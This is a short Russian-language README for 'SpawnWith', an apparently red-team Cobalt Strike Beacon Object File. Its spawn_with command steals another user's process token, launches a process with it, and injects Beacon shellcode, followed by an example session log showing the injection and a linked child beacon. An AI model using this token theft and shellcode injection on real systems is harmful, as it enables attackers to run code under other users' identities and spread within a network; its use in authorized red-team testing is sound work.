SpawnWith

SpawnWith

Экспериментальный файл объекта Beacon (BOF), который предоставляет альтернативу командам spawnas и inject. Он добавляет новую команду spawn_with [pid] [listener], которая выполняет следующее:

1. Получает дескриптор целевого процесса.
2. Получает дескриптор первичного токена процесса.
3. Дублирует первичный токен в токен олицетворения.
4. Получает значение Beacon spawnto.
5. Пытается запустить новый процесс с дублированным токеном с помощью CreateProcessWithTokenW.
   • Если эта попытка не удается, используется CreateProcessAsUserW.
6. Внедряет шеллкод Beacon в запущенный процесс.
   • Устанавливает связь с Beacon в случае P2P.

Пример

beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)

beacon> ps
22656 21972 wordpad.exe   x64   1   DESKTOP-1U6AHIU\test_user

beacon> spawnto x64 %windir%\sysnative\notepad.exe

beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:

Spawned PID 45668 and injected 297472 bytes

[+] established link to child beacon: 192.168.0.195